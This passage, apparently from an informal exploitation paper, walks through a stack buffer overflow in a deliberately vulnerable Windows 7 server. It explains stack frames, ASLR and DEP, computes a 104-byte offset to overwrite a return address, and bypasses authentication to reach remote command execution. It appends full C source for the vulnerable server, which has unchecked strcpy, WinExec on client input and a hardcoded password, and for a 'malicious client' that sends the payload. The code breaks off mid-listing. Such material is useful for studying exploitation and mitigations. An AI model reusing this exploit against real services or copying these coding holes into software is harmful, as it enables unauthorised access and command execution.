Instruction at addess 0x00401228 , pushes the previous frames EBP onto the stack . This is the first push on stack of current frame , so now look at the stack windows at address 0x0012FF8 , here the value of EBP is stored .

See till now EBP still points to previous frame stack base , but ESP points to the TOP of the stack .

Instruction at address 0x0040122C : here value of ESP moves to value EBP , it means now our EBP begin to points previous saved EBP . After this instruction we can see the register windows and see the value of EBP , which points to the saved previous framed EBP .

Instruction at address 0x0040122E : here -1 is puses onto the stack after pusing EBP , you can see the stack at address 0x0012FF84 , here value is 0xFFFFFFFF .

Instruction at address 0x00401230 : here we can see that address of the DATA SEGMENT pushes onto the stack .

Instrction at address 0x00401235 : we can see that address of the EXCEPTION HANDLER is push onto the stack .. take a look at the stack at address 0x0012ff75 .

Instrcution at address 0x0040123A : here we can see that pointer to the previous exception handler has been pushes onto the stack , look at the stack at address 0x0012FF78 .

I hope it make u able to understand how the stack formed at runtime from the disassebmly windows . Most important point is about the saved EIP on the stack , whenever any call occurs .

Basic Security Concepts of WIN 7 :

Address Space Randomization Layout (ASLR) : ASLR is the mitigation technique implemented by Microsoft in WINDOWS WIN XP , WIN VISTA , WIN 7 .

To understand this tecnique , we have to understand what happens before implementing ASLR .

When ALSR was not implemented by Microsoft , then suppose whichever Dll needed by my programm myserver.exe will be loaded at a very fix address , for example suppose my target programm needs , kernel32.dll , msvcrt.dll . Then when i run my mysever.exe on the OS where ALSR is not implemented , then kernel32.dll , msvcrt.dll will be loaded at a particular address everytime mysevrer.exe will be loaded .

Address space randomization hinders some types of security attacks by making it more difficult 52

Page 53: Research

for an attacker to predict target addresses. For example, attackers trying to execute return-to-libc attacks must locate the code to be executed, while other attackers trying to execute shellcode injected on the stack have to first find the stack. In both cases, the related memory addresses are obscured from the attackers. These values have to be guessed, and a mistaken guess is not usually recoverable due to the application crashing.

Like kernel32.dll holds a some naughty functions like Winexec , which can executed commands on the OS . As these Dlls will be loaded at a partcular address , so it give chance to attacker to get the address of the Winexec programm , then attacker take the advantage of vulnerability to overwrite the saved eip onto the stack to the address of winexec , with desire arguments .

But after implementing ASLR , It become almost impossible to guess the correct address of teh Dll's .

If ASLR is enabled on the system , then stack , heap , PIB will be randomize on per execution basis , but the Dlls will be randomize only on the per boot basis . So if suppose kernel32.dll loaded at particular address sya 0x7123456 , then it will have same bases address for the boot session regardless , how many times we have execute our module .

How to Find whether Module in runtime show ASLR or not :

Answer is Very simple , open the module in hex editor , then look for the field "DLLCharactersitcs" if it is set to 0x42 , then its means module A will get randomize in the memory else it will not .

Pitfalls of ALSR :

Its a rule of computer world , anything or everything you implement has its own limitation . so likewise ASLR has its own pitfalls , where it at backfoot .

According to Microsoft documentation , if a module A uses module B and C , then all module A , B , C should have DLLCharacterstics set to 0x42 to take the advantage of complete ASLR . So if process B and C has ASLR , but A donot have ASLR , then its way for an attacker to guess the address of desire instructions from module A to execute arbitarary code . Here thats the problem when it come to third party software . As around 70 % of the third party softwares do not show ASLR , Only all Microsoft products ( Executable and DLLs ) have ASLR .

Second pitfall of ASLR , is it randomize only higher two bytes of the address , and lower 2 bytes remain same everytime . So When attacker overwrites the saved Eip or stored Exception Handler , then its easy to bypass this mitigation technique , because higher two bytes (randmize one ) already put by OS kernel onto the stack .

53

Page 54: Research

Data Execution Prevention (DEP) : Data Execution Prevention is a mitigation technique implemented by Microsoft to prevent the the shellcode execution from the data sections like STACK , HEAP , Data Segment etc .

The primary benefit of DEP is to help prevent code execution from data pages. Typically, code is not executed from the default heap and the stack. Hardware-enforced DEP detects code that is running from these locations and raises an exception when execution occurs. Software-enforced DEP can help prevent malicious code from taking advantage of exception-handling mechanisms in Windows.

Types of Data Execution Prevention :

1. Hardware Enforced DEP

2. Software Enforced DEP

Hardware Enforced Dep :

Hardware-enforced DEP marks all memory locations in a process as non-executable unless the location explicitly contains executable code. A class of attacks exists that tries to insert and run code from non-executable memory locations. DEP helps prevent these attacks by intercepting them and raising an exception.

Hardware-enforced DEP relies on processor hardware to mark memory with an attribute that indicates that code should not be executed from that memory. DEP functions on a per-virtual memory page basis, and DEP typically changes a bit in the page table entry (PTE) to mark the memory page.

Processor architecture determines how DEP is implemented in hardware and how DEP marks the virtual memory page. However, processors that support hardware-enforced DEP can raise an exception when code is executed from a page that is marked with the appropriate attribute set.

Advanced Micro Devices (AMD) and Intel have defined and shipped Windows-compatible architectures that are compatible with DEP.

54

Page 55: Research

Beginning with Windows XP SP2, the 32-bit version of Windows uses one of the following:

The no-execute page-protection (NX) processor feature as defined by AMD.

The Execute Disable Bit (XD) feature as defined by Intel.

To use these processor features, the processor must be running in Physical Address Extension (PAE) mode. However, Windows will automatically enable PAE mode to support DEP. Users do not have to separately enable PAE by using the /PAE boot switch.

Software Enforced DEP:

An additional set of Data Execution Prevention security checks have been added to Windows XP SP2. These checks, known as software-enforced DEP, are designed to block malicious code that takes advantage of exception-handling mechanisms in Windows. Software-enforced DEP runs on any processor that can run Windows XP SP2. By default, software-enforced DEP helps protect only limited system binaries, regardless of the hardware-enforced DEP capabilities of the processor.

Benefits

The primary benefit of DEP is that it helps prevent code execution from data pages, such as the default heap pages, various stack pages, and memory pool pages. Typically, code is not executed from the default heap and the stack. Hardware-enforced DEP detects code that is running from these locations and raises an exception when execution occurs. If the exception is unhandled, the process will be stopped. Execution of code from protected memory in kernel mode causes a Stop error.

DEP can help block a class of security intrusions. Specifically, DEP can help block a malicious program in which a virus or other type of attack has injected a process with additional code and then tries to run the injected code. On a system with DEP, execution of the injected code causes an exception. Software-enforced DEP can help block programs that take advantage of exception-handling mechanisms in Windows.

55

Page 56: Research

System-wide configuration of DEP

DEP configuration for the system is controlled through switches in the Boot.ini file. If you are logged on as an administrator, you can now easily configure DEP settings by using the System dialog box in Control Panel.

Windows supports four system-wide configurations for both hardware-enforced and software-enforced DEP.

Configuration Description

OptIn This setting is the default configuration. On systems with processors that can implement hardware-enforced DEP, DEP is enabled by default for limited system binaries and programs that "opt-in." With this option, only Windows system binaries are covered by DEP by default.

OptOut DEP is enabled by default for all processes. You can manually create a list of specific programs that do not have DEP applied by using the System dialog box in Control Panel. Information technology (IT) professionals can use the Application Compatibility Toolkit to "opt-out" one or more programs from DEP protection. System compatibility fixes, or shims, for DEP do take effect.

AlwaysOn This setting provides full DEP coverage for the whole system. All processes always run with DEP applied. The exceptions list to exempt specific programs from DEP protection is not available. System compatibility fixes for DEP do not take effect. Programs that have been opted-out by using the Application Compatibility Toolkit run with DEP applied.

AlwaysOff This setting does not provide any DEP coverage for any part of the system, regardless of hardware DEP support. The processor does not run in PAE mode unless the /PAE option is present in the Boot.ini file.

Hardware-enforced and software-enforced DEP are configured in the same manner. If the system-wide DEP policy is set to OptIn, the same Windows core binaries and programs will be protected by both hardware-enforced and software-enforced DEP. If the system cannot use hardware-enforced DEP, the Windows core binaries and programs will be protected only by software-enforced DEP.

Similarly, if the system-wide DEP policy is set to OptOut, programs that have been exempted from DEP protection will be exempted from both hardware-enforced and software-enforced DEP.

56

Page 57: Research

The Boot.ini file settings are as follows:

/noexecute=policy_level

Note policy_level is defined as AlwaysOn, AlwaysOff, OptIn, or OptOut.

Existing /noexecute settings in the Boot.ini file are not changed when Windows XP SP2 is installed. These settings are also not changed if a Windows operating system image is moved across computers with or without hardware-enforced DEP support.

During installation of Windows XP SP2 and Windows Server 2003 SP1 or later versions, the OptIn policy level is enabled by default unless a different policy level is specified in an unattended installation. If the /noexecute=policy_level setting is not present in the Boot.ini file for a version of Windows that supports DEP, the behavior is the same as if the /noexecute=OptIn setting was included.

SnapShot oF DEP Included :

Hardware Data Execution Prevention .

By default (Without DEP) all sections have RWX (Read Write Executable) bit set , but after 57

Page 58: Research

implemneting hardware dep , only TEXT segment set to have RX bit set , while DATA SEGMENT have WR bit set . See the highlighted portion of the above snapshot .

Exploiting Target Application with above knowledge :

After explaining the Security concepts ASLR and DEP of Win 7 , we back to our main aim of exploiting the vulnerability of myserver.exe .

Lets revise once more the call stack of the myserver.exe . Call stack defines which function calls which function .

Look at the "Quick Revise of Complete Disassembly of myserver.exe " i have explained above.

From there we can say that .

Kernel32.__function calls myserver.00401235

myserver.00401235 calls myserver.00401557

myserver.00401557 calls myserver.00401955

if (__return_value_from_myserver.00401955 == 1 )

means user has been authenticated , then make below call

myserver.004019557 calls myserver.00401796

Lets see whats happening in above call once again

kernel32.__function calls myserver.00401235 . myserver.0040235 is the function which sets the Exception handler in the stack frame for handle any abnormal terimnation .

Then myserver.00401235 calls myserver.00401557 , it is the main function , which callss many SOCKET APIs like socket , bind , listen accept , shutdown . It is the function which receive

58

Page 59: Research

connection from client using "accept" API .

Then after getting connection from the client , myserver.00401557 calls myserver.00401955 . myserver.00401955 is the function which take username from the client and then copy it onto the stack space of its current frame .

Then if myserver.00401955 return the value 1 to its caller i.e to myserver.00401557 , then myserver.00401557 will call the myserver.00401796 . Calling myserver.00401796 means client has been authenticated as administrator .

We have learned how stack framed is construct in the memroy as one function calls aonther function . Now its time to make a stack of the Above call stack .

STACK FRAME OF THE CALL STACK :

Kernel32.__function calls myserver.00401235

myserver.00401235 calls myserver.00401557

myserver.00401557 calls myserver.00401955

Stack Frame of above call stack will be look like this .

59

Page 60: Research

Complete Overview of stack formation , when the above calls will take place .

60

Page 61: Research

MOST IMPORTANT : Above image can say the most Important image in the whole document , becuase its is from where we will exploit the myserver.exe .So lets try to understand once again what is this .

Start from the lower part of the stack :

We know that when kernel32.__function will call the mysever.00401235 , then first of all the caller function will push the arguments of the myserver.00401235 onto the stack , this is we can see in the snapshot above " argc and argv " . I have also mention in snapshot as "Arguments of myserver.00401235"

Then when assembly instruction "call myserver.00401235 " in kernel32.__function will be executed , the very obviously CPU will pushes the address of the instruction in kernel32.__function from where execution has to be continue after returning from myserver.00401235.

Then when execution of the myserver.00401235 , will be started , then CPU will first save the previous EBP onto the stack , so that it can located the local variables of kernel32.__function again . So we can see that there is a saved ebp onto the stack just above saved eip .

Lets move ahead , now we can see the TryLevel has been pushes onto the stack when myserver.00401235 . This pushes is corrsponding to the instruction "push 0xffffffff" , we have seen this instruction in the disassembly in vulnerability analysis .

Then above try_level , we can see the scope_table_entry , we can left it for now .

Then above scope_table_entry we can see the Exception Handler i.e __except_handler4 . It is the address of the handler which will be executed when any abnormal condition wil occurs in the execution of the program . Suppose we overwrite it with some other address ,and able to generae exception conditon in the code , then control of execution will be redirected to the address we have overwritten .

Then above Exception Handler we can see the address of the Next Exception Registration record that can be found in the stack . This push is correspond to the assembly instruction "push eax" , value of eax comes from FS:[0] .

Then above the address of the previous pointer , then space for local variables will be allocated . This is the space for local variables of myserver.00401235 .

Now when myserver.00401235 calls myserver.00401557 , then rest of the stack frame will be formed . Like , first of all myserver.00401235 will pushes the arguments of the

61

Page 62: Research

myserver.00401557 onto the stack , and then when myserver.00401235 , will call the myserver.00401557 , then CPU will pushes the return address of the instruction from where it has to resume the execution when retrun from the mysevrer.00401557 .

Then above it , when execution comes into the myserver.00401557 , then instruction "push ebp " will push the previous ebp on the stack .

Then as we can see that there is no try level , there is not scope entry table , there is no exception handler , and there is not pointer to previous exception registration record . This is becuase in myserver.00401557 , no code is written in the __try and __except block .

Then myserver.00401557 will calls myserver.00401995 , so as usual myserver.00401557 will pushes the arguments of myserver.00501995 onto the stack , i call them "argv2, argc2"

Then when instruction from myserver.00401557 "call myserver.00401995" , then CPU will pushes the return address of the instruction in myserver.00401557 from where it has to resume the execution after returning from myserver.00401995 .

When execution from myserver.00401995 will starts , then EBP will be pushes onto the stack , to retain the base frame of myserver.00401557 . This push will be corressponds to the instruciton in myserver.00401995 , " push ebp"

Then above it we can see the , local variables of the myserver.00401995 . Most Important thing to note down here is that , the username enter by client will be blindly copied here . So there are good chances to overwrite the return address of "myserver.00401557" with some desire address .

Here we are going to overwrite the return address of the myserver.00401557 with some desire address .

As DEP will not allow us to execute code in the stack , heap or data segment , so we can not overwrite the return address of the mysever.00401557 with any address i.e belong to heap , stack or data segment .

So it become clear that we have to overwrite the address with the address that belongs to the TEXT segment of the modules like kernel32.dll or ntdll.dll loaded in the memory to by pass DEP reistriction .

But problem with above technique is that , we cannot determine the exact address of the function in modules because ASLR will randomize them on every reboot .

So to byapss ASLR restirction we will overwrite the address of the myserver.00401557 with 62

Page 63: Research

some address in the TEXT segment of the module myserver.exe because as it's DLLCharaterstics byte is not set to 0x40 , thats means it will not be randomize at all . Every time all instruction will be at same address .

Now point is , to which address we overwrite the stored return address of myserver.00401557 on stack ?? We can seek anser of this question in this

Kernel32.__function calls myserver.00401235

myserver.00401235 calls myserver.00401557

myserver.00401557 calls myserver.00401955

if (__return_value_from_myserver.00401955 == 1 )

means user has been authenticated , then make below call

myserver.004019557 calls myserver.00401796

If we take clear case , then myserver.00401955 after copying username onto the stack will return to the myserver.00401557 . Then code in the myserver.00401557 will check the enter username and password corresponds to the hardcoded username and password . If username and password will matched then myserver.00401557 will calls myserver.00401796 for executing commands taken from client on the WIN 7 .

So we we overwrite the return address of the myserver.00401557 on the stack frame of myserver.00401995 with the address of the myserver.00401796 , then when myserver.00401557 will return , it will return to the myserver.00401796 , So this way we can bypass the code that checks the username and password , moreover we are able to executed commands on WIN 7 . Thus we able to bypass DEP , because in this case we are redirecting the control of execution in

63

Page 64: Research

TEXT segment only . We also able bypass ASLR becuas we can determine the exact address in myserver.exe module instead of any other module like kernel32.dll or msvcrt.dll .

For more closer look .

64

Page 65: Research

65

Page 66: Research

Now its time to move to real time stack formation , so next we look at the stack formed till the following calls .

Kernel32.__function calls myserver.00401235

myserver.00401235 calls myserver.00401557

myserver.00401557 calls myserver.00401955

Snapshot of above calls will look like this :

Snapshot of stack memory for function myserver.00401955

It is the space for local variables on the stack for funtion myserver.00401955 . Remember here is where our username will be set after taken from the client . Second thing to noted down is the return address i haev highlighted .

66

Page 67: Research

When myserver.00401995 will return , then it will return to the address myserver.0040177B , from there code to match username and password will start .But if somehow we overwrite this address to our desire address , then we will be able to redirect the control flow of execution .

Thus we can become the administrator withour authnticating ourself .

Next Snapshot of lower part of the stack .:

Snapshot of stack space for local variables of mysever.00401557

It very similar to previous one , but here you can see the space for local vairables for the fucntion myserver.00401557

Next snapshot of Lower part of the stack :

67

Page 68: Research

Snapshot of stack memory for function mysevrer.00401235

Its very similar to the stack i have shown in my paper work . Lets revise once more

We start from the base :

we can see the return address "76EB1174" , it is the address where control flow execution will be redirected after returning from the function myserver.00401235 . We can conclude one thing more from this , is that .. our function is called from some function in kernel32.dll function .

Above return address we see the valued saved for EBP , it is correspond address "push ebp" in function myserver.00401235 .

Above this we can see the __try_level , here it has been set to 0x00000000 , because when code has been executed from __try {} guard , then compiler set its value to 0x00000000 , When compiler leave this guarded portion of code again value of this field will be set to 0xffffffff .

Above this we can see the __scope_table_entry address , leave it for this document .

Above this we can see the address of Exception_handler , it is the address of the code , that is going to be executed if any abnornmal condition going to happens in the code .

Above this we can see the address of the previous EXCEPTION_REGISTRATION RECORD has been setup .

Then we have space for local variables for function myserver.00401235 .

68

Page 69: Research

Final Way to Cover :Now its time to find the address where our input username goes on the stack , so that we can calculate the number of bytes we need to overwrite to modify the return address . So simply find the string "Enter Username" in the myserver.exe , becuase we are sure that code after code which send this string to the client , will recevice the string and put it on the stack .

To achieve this first find the recv function which receving the username from client , and then follow the code to find where it is copied on the stack .

Next snapshot wil show you the username on the stack :

Username on stack snapshot

No_of_bytes (to overwrite) = __Return_address - __Address_of_input_username

No_of_bytes = 0x0012FD00 - 0x0012FC98

69

Page 70: Research

No_of_bytes = 0x68

No_of_bytes ( in decimals ) = 104 bytes

So if we overwrite the 104 bytes , then anybyte we overwrite after this , will opverwrite the return address .

So lets try this now .

We know :

Bytes_to_overwrite = 104

New_modified_address = 0x00401796 ( It is the address of the funtion which give us prompt without matching the username and password)

Snapshot of malicious string on the stack :

70

Page 71: Research

Snapshot of modified return addres

Hey look at the address i have highlighted , i m able to modified the return address .

Thus when myserver.00401955 will return , then it will return to the myserver.00401796 .

Thus we bypass code which check authentication and able to redirect the flow of control toward the code which enables us to execute commands on SERVER .

So Finally we will create a malicious client which will send a long malicious string to the server to overwrite the return address .

Lets look at the screenshot .

Screenshot 1 : myserver.exe running :

71

Page 72: Research

SERVER is Running

Now Connect through MaliciousClient : FINAL SNAPSHOT

72

Page 73: Research

Malicious Client connect to server to exploit it .

Look at the above screenshot , the highlighted string is send as the Username to the server myserver.exe . Then we enter any password we want , i have enter "anypassword" .

VOILAAAAAAA !!!!!!!!!!!!!! WE GET THE PROMPT TO EXECUTE COMMANDS ON SERVER .

73

Page 74: Research

THUS WE EXPLOIT THE SERVER "myserver.exe" TO GET COMMAND PROMPT .

Conclusion :

I come to the conclusion , WIN 7 is not able to secure services running on it from hack attacks.

Words after Journey :

Hii again , well in this paper , i have explained each and everything from the start of finding vulnerability to the end of exploiting the vulnerability . But i have explained only those concepts that are neccessary to understand for exploiting myserver.exe . There is a lot of information has been skipped away , becuase it is not possible for me to dump every thing about Windows Security in one paper moreover when i have to type myself :( . So you if like to know more details about any topic , then you can discuss with me , it will be my pleasure :) .

If you find this paper is informative , then i request you to share it or pass it on .

IF you have any query related to the topic you can mail me at :

[email protected] .

You can join me on facebook (for mauj , masti and Tafree only :P ) my email-id is " [email protected] "

Downloads :

hey if you want to try this havoc on your computer , then why you are waitng . I have given the source code copy them and compile them with LCC WIN32 compiler (alteast compile myserver.exe with this one) , because i have research on myserver.exe compile with LCC WIN32 . If you want to compile it with some other compiler , then no problem , just you have to do research yourself .

If you are thinking why i work in assembly , when i have source code of myserver.exe , it is because in reallity we donot have source code of any server we download for windows .We have to work in assembly . I have given you source code , just for you to get , whats going inside mysever.exe .

74

Page 75: Research

Source Code of myserver.exe :

#define WIN32_LEAN_AND_MEAN

#include <winsock2.h>

#include <ws2tcpip.h>

#include <stdlib.h>

#include <stdio.h>

#include <winbase.h>

#include <windows.h>

#define DEFAULT_BUFLEN 512

#define DEFAULT_PORT "27000"

SOCKET ListenSocket = INVALID_SOCKET,ClientSocket = INVALID_SOCKET;

int check(SOCKET);

int clienthandle();

int main(void)

{

WSADATA wsaData;

75

Page 76: Research

struct addrinfo *result = NULL,

hints;

char sendbuf[100];

char *recvbuf;

int iResult, iSendResult,value;

int recvbuflen = DEFAULT_BUFLEN;

recvbuf=(char*)malloc(DEFAULT_BUFLEN);

recvbuf[0]='\0';

// Initialize Winsock

iResult = WSAStartup(MAKEWORD(2,2), &wsaData);

if (iResult != 0) {

printf("WSAStartup failed: %d\n", iResult);

return 1;

}

ZeroMemory(&hints, sizeof(hints));

hints.ai_family = AF_INET;

hints.ai_socktype = SOCK_STREAM;

76

Page 77: Research

hints.ai_protocol = IPPROTO_TCP;

hints.ai_flags = AI_PASSIVE;

// Resolve the server address and port

iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);

if ( iResult != 0 ) {

printf("getaddrinfo failed: %d\n", iResult);

WSACleanup();

return 1;

}

// Create a SOCKET for connecting to server

ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);

if (ListenSocket == INVALID_SOCKET) {

printf("socket failed: %ld\n", WSAGetLastError());

freeaddrinfo(result);

WSACleanup();

return 1;

}

77

Page 78: Research

printf("Now i m listening");

// Setup the TCP listening socket

iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen);

if (iResult == SOCKET_ERROR) {

printf("bind failed: %d\n", WSAGetLastError());

freeaddrinfo(result);

closesocket(ListenSocket);

WSACleanup();

return 1;

}

freeaddrinfo(result);

iResult = listen(ListenSocket, SOMAXCONN);

if (iResult == SOCKET_ERROR) {

printf("listen failed: %d\n", WSAGetLastError());

closesocket(ListenSocket);

WSACleanup();

return 1;

}

78

Page 79: Research

while(1)

{

// Accept a client socket

ClientSocket = accept(ListenSocket, NULL, NULL);

if (ClientSocket == INVALID_SOCKET) {

printf("accept failed: %d\n", WSAGetLastError());

closesocket(ListenSocket);

WSACleanup();

return 1;

}

// No longer need server socket

//closesocket(ListenSocket);

value=check(ClientSocket);

if(value==1)

{

clienthandle();

}

else

79

Page 80: Research

continue;

} // while close

} // main close

int clienthandle()

{

char sendbuf[100];

char *recvbuf;

int iResult, iSendResult;

int recvbuflen = DEFAULT_BUFLEN;

recvbuf=(char*)malloc(DEFAULT_BUFLEN);

recvbuf[0]='\0';

80

Page 81: Research

// Receive until the peer shuts down the connection

do {

iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);

if (iResult > 0) {

recvbuf[iResult]='\0';

strcpy(sendbuf,recvbuf);

printf("now i m executing command %s",sendbuf);

iResult=WinExec(sendbuf,SW_SHOWDEFAULT);

if(iResult>31)

{

strcpy(sendbuf,"0");

iSendResult = send( ClientSocket, sendbuf, iResult, 0 );

}

else

{

81

Page 82: Research

strcpy(sendbuf,"-1");

iSendResult = send( ClientSocket, sendbuf, iResult, 0 );

}

if (iSendResult == SOCKET_ERROR) {

printf("send failed: %d\n", WSAGetLastError());

closesocket(ClientSocket);

WSACleanup();

return 1;

}

}

else if (iResult == 0)

printf("Connection closing...\n");

else {

printf("recv failed: %d\n", WSAGetLastError());

closesocket(ClientSocket);

WSACleanup();

return 1;

}

} while (iResult > 0);

82

Page 83: Research

// shutdown the connection since we're done

iResult = shutdown(ClientSocket, SD_SEND);

if (iResult == SOCKET_ERROR) {

printf("shutdown failed: %d\n", WSAGetLastError());

closesocket(ClientSocket);

WSACleanup();

return 1;

}

// cleanup

closesocket(ClientSocket);

WSACleanup();

return 1;

}

int check(SOCKET ClientSocket)

{

char sendbuf[100];

83

Page 84: Research

char *recvbuf;

int iResult, iSendResult;

int recvbuflen = DEFAULT_BUFLEN;

recvbuf=(char*)malloc(DEFAULT_BUFLEN);

recvbuf[0]='\0';

strcpy(sendbuf,"Enter Username");

send(ClientSocket,sendbuf,strlen(sendbuf),0);

iResult=recv(ClientSocket,recvbuf,recvbuflen,0);

if(iResult==0)

{ return -1;

}

recvbuf[iResult]='\0';

strcpy(sendbuf,recvbuf);

84

Page 85: Research

printf("username is %s",sendbuf);

strcpy(sendbuf,"Enter password");

send(ClientSocket,sendbuf,strlen(sendbuf),0);

iResult=recv(ClientSocket,recvbuf,recvbuflen,0);

recvbuf[iResult]='\0';

printf("password is %s",recvbuf);

if(strcmp(recvbuf,"jimmy")==0) // I DONOT MATCH USERNAME , JUST MATCH PASSWORD , DO YOU HAVE ANY PROBLEM ???

{

strcpy(sendbuf,"0");

send(ClientSocket,sendbuf,strlen(sendbuf),0);

return 1;

}

else{

strcpy(sendbuf,"-1");

send(ClientSocket,sendbuf,strlen(sendbuf),0);

85

Page 86: Research

return -1;

}

}

Source Code of clientwin.exe :

#define WIN32_LEAN_AND_MEAN

#include <windows.h>

#include <winsock2.h>

#include <ws2tcpip.h>

#include <stdlib.h>

#include <stdio.h>

#include <winbase.h>

// Need to link with Ws2_32.lib, Mswsock.lib, and Advapi32.lib

#pragma comment (lib, "Ws2_32.lib")

#pragma comment (lib, "Mswsock.lib")

#pragma comment (lib, "AdvApi32.lib")

86

Page 87: Research

#define DEFAULT_BUFLEN 512

#define DEFAULT_PORT "27000"

int __cdecl main(int argc, char **argv)

{

WSADATA wsaData;

SOCKET ConnectSocket = INVALID_SOCKET;

struct addrinfo *result = NULL,

*ptr = NULL,

hints;

char *sendbuf = "this is a test";

char recvbuf[DEFAULT_BUFLEN];

int iResult;

int recvbuflen = DEFAULT_BUFLEN;

// Validate the parameters

if (argc != 2) {

printf("usage: %s server-name\n", argv[0]);

return 1;

}

// Initialize Winsock

iResult = WSAStartup(MAKEWORD(2,2), &wsaData);

87

Page 88: Research

if (iResult != 0) {

printf("WSAStartup failed: %d\n", iResult);

return 1;

}

ZeroMemory( &hints, sizeof(hints) );

hints.ai_family = AF_UNSPEC;

hints.ai_socktype = SOCK_STREAM;

hints.ai_protocol = IPPROTO_TCP;

// Resolve the server address and port

iResult = getaddrinfo(argv[1], DEFAULT_PORT, &hints, &result);

if ( iResult != 0 ) {

printf("getaddrinfo failed: %d\n", iResult);

WSACleanup();

return 1;

}

// Attempt to connect to an address until one succeeds

for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) {

// Create a SOCKET for connecting to server

ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,

88

Page 89: Research

ptr->ai_protocol);

if (ConnectSocket == INVALID_SOCKET) {

printf("Error at socket(): %ld\n", WSAGetLastError());

freeaddrinfo(result);

WSACleanup();

return 1;

}

// Connect to server.

iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);

if (iResult == SOCKET_ERROR) {

closesocket(ConnectSocket);

ConnectSocket = INVALID_SOCKET;

continue;

}

break;

}

freeaddrinfo(result);

if (ConnectSocket == INVALID_SOCKET) {

printf("Unable to connect to server!\n");

WSACleanup();

89

Page 90: Research

return 1;

}

// Receiving "Enter Username"

iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);

recvbuf[iResult]='\0';

printf("%s",recvbuf);

// Sending USername

scanf("%s",sendbuf);

send(ConnectSocket,sendbuf,strlen(sendbuf),0);

// Receving "Enter Password"

iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);

recvbuf[iResult]='\0';

printf("%s",recvbuf);

// Sending password

scanf("%s",sendbuf);

90

Page 91: Research

send(ConnectSocket,sendbuf,strlen(sendbuf),0);

// Scan the code

iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);

recvbuf[iResult]='\0';

printf("try to print authentication string %s",recvbuf);

if(strcmp(recvbuf,"0")==0)

{

printf("YOU GOT THE PROMOPT ");

}

else

{

printf("Wrong Username or PAssword... EXITING");

shutdown(ConnectSocket,2);

exit(0);

}

91

Page 92: Research

// shutdown the connection since no more data will be sent

// Ready to send commands

WinExec("cls",SW_SHOWDEFAULT);

// Receive until the peer closes the connection

do {

printf("######>");

scanf("%s",sendbuf);

send(ConnectSocket,sendbuf,strlen(sendbuf),0);

iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);

if ( iResult > 0 )

{

92

Page 93: Research

recvbuf[iResult]='\0';

if(strcmp(recvbuf,"0")==0)

{

printf("command executed\n");

}

else

{

printf("command failed\n");

}

}

else if ( iResult == 0 )

printf("Connection closed\n");

else

printf("recv failed: %d\n", WSAGetLastError());

} while( iResult > 0 );

// cleanup

closesocket(ConnectSocket);

WSACleanup();

return 0;

}

93

Page 94: Research

Source Code of Malicious Client malclient.exe :

#define WIN32_LEAN_AND_MEAN

#include <windows.h>

#include <winsock2.h>

#include <ws2tcpip.h>

#include <stdlib.h>

#include <stdio.h>

#include <winbase.h>

// Need to link with Ws2_32.lib, Mswsock.lib, and Advapi32.lib

#pragma comment (lib, "Ws2_32.lib")

#pragma comment (lib, "Mswsock.lib")

#pragma comment (lib, "AdvApi32.lib")

#define DEFAULT_BUFLEN 512

#define DEFAULT_PORT "27000"

int __cdecl main(int argc, char **argv)

94

Page 95: Research

{

WSADATA wsaData;

SOCKET ConnectSocket = INVALID_SOCKET;

struct addrinfo *result = NULL,

*ptr = NULL,

hints;

char sendbuf[200];

FILE *fp ;

int i ;

char recvbuf[DEFAULT_BUFLEN];

int iResult;

int recvbuflen = DEFAULT_BUFLEN;

// Validate the parameters

if (argc != 2) {

printf("usage: %s server-name\n", argv[0]);

return 1;

}

fp=fopen("c:/users/voila/Desktop/input.txt" , "w");

if(fp==NULL)

{

95

Page 96: Research

printf("Unable to open file ");

exit(0);

}

for(i=0;i<104;i++)

{

fputc('a',fp);

}

fputc(0x96,fp);

fputc(0x17,fp);

putc(0x40,fp);

fclose(fp);

fopen("c:/users/voila/Desktop/input.txt" , "r");

if(fp==NULL)

{

printf("unable to open file for reading");

exit(0);

}

fgets(sendbuf,199,fp);

96

Page 97: Research

// Initialize Winsock

iResult = WSAStartup(MAKEWORD(2,2), &wsaData);

if (iResult != 0) {

printf("WSAStartup failed: %d\n", iResult);

return 1;

}

ZeroMemory( &hints, sizeof(hints) );

hints.ai_family = AF_UNSPEC;

hints.ai_socktype = SOCK_STREAM;

hints.ai_protocol = IPPROTO_TCP;

// Resolve the server address and port

iResult = getaddrinfo(argv[1], DEFAULT_PORT, &hints, &result);

if ( iResult != 0 ) {

printf("getaddrinfo failed: %d\n", iResult);

WSACleanup();

return 1;

}

// Attempt to connect to an address until one succeeds

97

Page 98: Research

for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) {

// Create a SOCKET for connecting to server

ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,

ptr->ai_protocol);

if (ConnectSocket == INVALID_SOCKET) {

printf("Error at socket(): %ld\n", WSAGetLastError());

freeaddrinfo(result);

WSACleanup();

return 1;

}

// Connect to server.

iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);

if (iResult == SOCKET_ERROR) {

closesocket(ConnectSocket);

ConnectSocket = INVALID_SOCKET;

continue;

}

break;

}

freeaddrinfo(result);

98

Page 99: Research

if (ConnectSocket == INVALID_SOCKET) {

printf("Unable to connect to server!\n");

WSACleanup();

return 1;

}

// Receiving "Enter Username"

iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);

recvbuf[iResult]='\0';

printf("%s",recvbuf);

// Sending USername

printf("\npress any key to send malicious username to server\n");

getchar();

//scanf("%s",sendbuf);

99

Page 100: Research

send(ConnectSocket,sendbuf,strlen(sendbuf),0);

// Receving "Enter Password"

iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);

recvbuf[iResult]='\0';

printf("%s",recvbuf);

// Sending password

scanf("%s",sendbuf);

send(ConnectSocket,sendbuf,strlen(sendbuf),0);

// Scan the code

/*iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);

recvbuf[iResult]='\0';

printf("try to print authentication string %s",recvbuf);

100

Page 101: Research

if(strcmp(recvbuf,"0")==0)

{

printf("YOU GOT THE PROMOPT ");

}

else

{

